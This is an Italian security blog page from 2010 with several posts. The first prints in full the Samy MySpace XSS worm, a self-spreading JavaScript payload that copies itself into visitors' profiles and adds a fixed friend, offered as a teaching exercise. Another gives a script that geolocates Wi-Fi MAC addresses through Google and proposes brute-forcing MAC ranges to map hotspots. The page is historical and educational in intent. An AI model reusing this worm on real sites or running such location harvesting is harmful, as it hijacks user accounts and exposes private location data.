Nicola Moretti – Hanicker IT Blog

Sicurezza

Myspace old XSS virus

by Nick on ago.13, 2010, under Hacks, Sicurezza

A volte anche un vecchio worm js può risultare utile a livello didattico, anche per capire come sia difficile limitare i danni di eventuali falle XSS.

La sfida è semplice, ecco il codice:

<div id=mycode style="BACKGROUND: url('java<br /> script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td> <p>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV> 

Il codice permetteva di guadagnare velocemente amici su MySpace, tanto da meritarsi una pagina su wikipedia.

Se avete problemi nell’analisi, ecco il link di riferimento per l’analisi. Qui, invece, è disponibile la storia di questo bug.

  • Facebook
  • Delicious
  • Twitter
  • StumbleUpon
  • Google Reader
  • Orkut
  • Google Bookmarks
  • MySpace
  • Slashdot
  • Technorati Favorites
  • Yahoo Bookmarks
  • LinkedIn
  • Blogger Post
  • Netlog
  • Tumblr
  • Digg
  • FriendFeed
  • Share/Bookmark
Leave a Comment :, , , more...

Impostazioni Privacy Facebook

by Nick on mag.18, 2010, under Hacks, Sicurezza, Tools

Una volta registrati a Facebook la privacy dei nostri dati è messa a dura prova. Il rischio maggiore è sicuramente il temuto upgrade di sistema che, di tanto in tanto, viene attuato dai tecnici dell’azienda di Palo Alto. Molto spesso questo vuol dire che le impostazioni relative alla privacy che abbiamo configurato poco tempo fa non sono piu valide ed è tutto da risistemare il prima possibile.

Uno strumento appena nato ma molto efficace per controllare velocemente se le impostazioni del nostro profilo sono “buone” è ReclaimPrivacy.

Il funzionamento è molto semplice:

una volta visitato il sito http://www.reclaimprivacy.org/ è sufficiente aggiungere ai nostri segnalibri il link indicato dalla scritta Scan for Privacy.

A questo punto ci basterà accedere alla home page di facebook e quindi premere sul link per ricevere un report globale ed eventualmente alcuni suggerimenti efficaci su come migliorare determinate impostazioni.

Avendo a disposizione anche il codice sorgente di questo script possiamo verificarne facilmente la sua affidabilità: i dati che andrà a verificare non verranno comunicati a nessuno.

  • Facebook
  • Delicious
  • Twitter
  • StumbleUpon
  • Google Reader
  • Orkut
  • Google Bookmarks
  • MySpace
  • Slashdot
  • Technorati Favorites
  • Yahoo Bookmarks
  • LinkedIn
  • Blogger Post
  • Netlog
  • Tumblr
  • Digg
  • FriendFeed
  • Share/Bookmark
1 Comment :, , more...

Piattaforma di simulazione attacchi e studio minacce

by Nick on feb.21, 2010, under Sicurezza

Da pochi giorni è disponibile gratuitamente sotto licenza GPL FDL v1.3 un libro scritto da Olu Akindeinde dal titolo

ATTACK SIMULATION AND THREAT MODELING.

Struttura

Il libro si divide in quattro parti.

1. Vettori di attacco

Descrive e classifica i vari metodi usati per compromettere la sicurezza di un sistema informatico ed evidenzia il ruolo che errori, bug, falle e altri fattori ricoprono.

2. Simulazione di attacco

A sua volta diviso in:

  • Laboratorio Virtuale
  • Identificazione degli attacchi (IDS)
  • Raccolta delle informazioni di identificazione (Honeypots, ecc.)

Descrive la preparazione del laboratorio virtuale, implementandolo su VMware, VirtualBox e Qemu. Successivamente l’IDS e la sua configurazione. Infine la rilevazione di attacchi negli Honeypots e nelle Honeynets, parlando di usi e tipologie.

3. Analisi dell’attacco

A sua volta diviso in:

  • Analisi del comportamento
  • Correlazione tra attacchi

Descrive anzitutto i modi di propagazione delle minacce e i tool a disposizione per catturare questi comportamenti e mostrare i dati raccolti. Successivamente descrive le tecnologie per mostrare e filtrare eventi correlati, aggregandoli e memorizzandoli.

4. Modellazione dell’attacco

L’ultima parte parla di riconoscimento di pattern.

Conclusioni

Si tratta quindi di un libro molto completo e strettamente legato alla praticità e ai problemi reali che si affrontano in questo settore. Per chi volesse approfondire, lo stesso autore ha messo a disposizione sotto GPL anche un altro libro,  Security Analysis and Data Visualization, che potete scaricare da qui o da qui.

Download

Potete scaricarlo dal sito ufficiale a questo indirizzo:

http://inverse.com.ng/book2/Attack_Simulation_and_Threat_Modeling.pdf

o (nel caso non fosse disponibile) da questo server cliccando qui.

  • Facebook
  • Delicious
  • Twitter
  • StumbleUpon
  • Google Reader
  • Orkut
  • Google Bookmarks
  • MySpace
  • Slashdot
  • Technorati Favorites
  • Yahoo Bookmarks
  • LinkedIn
  • Blogger Post
  • Netlog
  • Tumblr
  • Digg
  • FriendFeed
  • Share/Bookmark
Leave a Comment :, , , , more...

Upload sicuri con PHP

by Nick on feb.07, 2010, under Programming, Sicurezza

Il caricamento di file su un server è una delle maggiori fonti di insicurezza per i siti web.

Il documento che riporto, scritto da Alla Bezroutchko (ingegnere della sicurezza presso Scanit e persona presente da vari anni nel mondo della sicurezza con molti bug disclosures a proprio nome), rappresenta un vero vademecum per il caricamento tramite PHP.

Link originale:

http://www.scanit.be/uploads/php-file-upload.pdf

Se non funzionante, accedi direttamente al file cliccando qui.

Personalmente, oltre ai soliti consigli, raccomando sempre di usare per i file caricati un nome casuale, associato a quello del file caricato tramite php. Quando possibile, posizionare i file fuori dalle directory accessibili (o bloccarne l’accesso diretto tramite le configurazioni di Apache) e accederne tramite php. Quando non possibile, controllare il contenuto dei file caricati, bloccare l’esecuzione di script nella cartella dedicata all’upload, verificare accuratamente le impostazioni di apache.

  • Facebook
  • Delicious
  • Twitter
  • StumbleUpon
  • Google Reader
  • Orkut
  • Google Bookmarks
  • MySpace
  • Slashdot
  • Technorati Favorites
  • Yahoo Bookmarks
  • LinkedIn
  • Blogger Post
  • Netlog
  • Tumblr
  • Digg
  • FriendFeed
  • Share/Bookmark
1 Comment :, , , more...

Google Wifi DB

by Nick on gen.31, 2010, under Hacks, Sicurezza

Try compiling this form with a wifi MAC Address and press Enter (iframe):

The source code is:

#!/usr/bin/python
# Copyright (C) 2010 Kees Cook 
# License: GPLv3
# Find location of a MAC address via Google Location Services
# http://code.google.com/p/gears/wiki/GeolocationAPI
import cgi
import sys, urllib2
import simplejson
import pprint

form = cgi.FieldStorage()
if not form:
    print "Content-type: text/html"
    print ""
    print ""
    print "Enter MAC address to locate:
" print 'source' print "" sys.exit(0) #try: if True: loc_req = { 'version': '1.1.0', 'request_address': True, 'address_language': 'en', 'wifi_towers': [] } bssid = form['mac'].value loc_req['wifi_towers'] += [{ 'mac_address': bssid.replace(':','-'), 'signal_strength': 1 } ] data = simplejson.JSONEncoder().encode(loc_req) output = urllib2.urlopen('https://www.google.com/loc/json', data).read() output = simplejson.loads(output) print "Content-type: text/plain" print "" pprint.pprint(output) if output['location']['accuracy'] >= 22000: print "# N.B. Accuracy of 22000 or higher seems to indicate unknown location..." else: print "Content-type: text/html" print "" print "" print "Sorry, something went wrong" print ""

Think at the possibility for somebody to bruteforce Google DB and retrieve these infos.

Starting from http://standards.ieee.org/regauth/oui/oui.txt, for example, i can try 16^6 mac addresses starting from 00-18-84 to get info about FON hotspots and achieve locations in a day or less.

I think this is not illegal as this is what my GPhone actually does. PS: I have not checked against any bruteforce prevention.

Thanks to Kees Cook.

  • Facebook
  • Delicious
  • Twitter
  • StumbleUpon
  • Google Reader
  • Orkut
  • Google Bookmarks
  • MySpace
  • Slashdot
  • Technorati Favorites
  • Yahoo Bookmarks
  • LinkedIn
  • Blogger Post
  • Netlog
  • Tumblr
  • Digg
  • FriendFeed
  • Share/Bookmark
4 Comments :, , , , , more...

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Blogroll

A few highly recommended websites...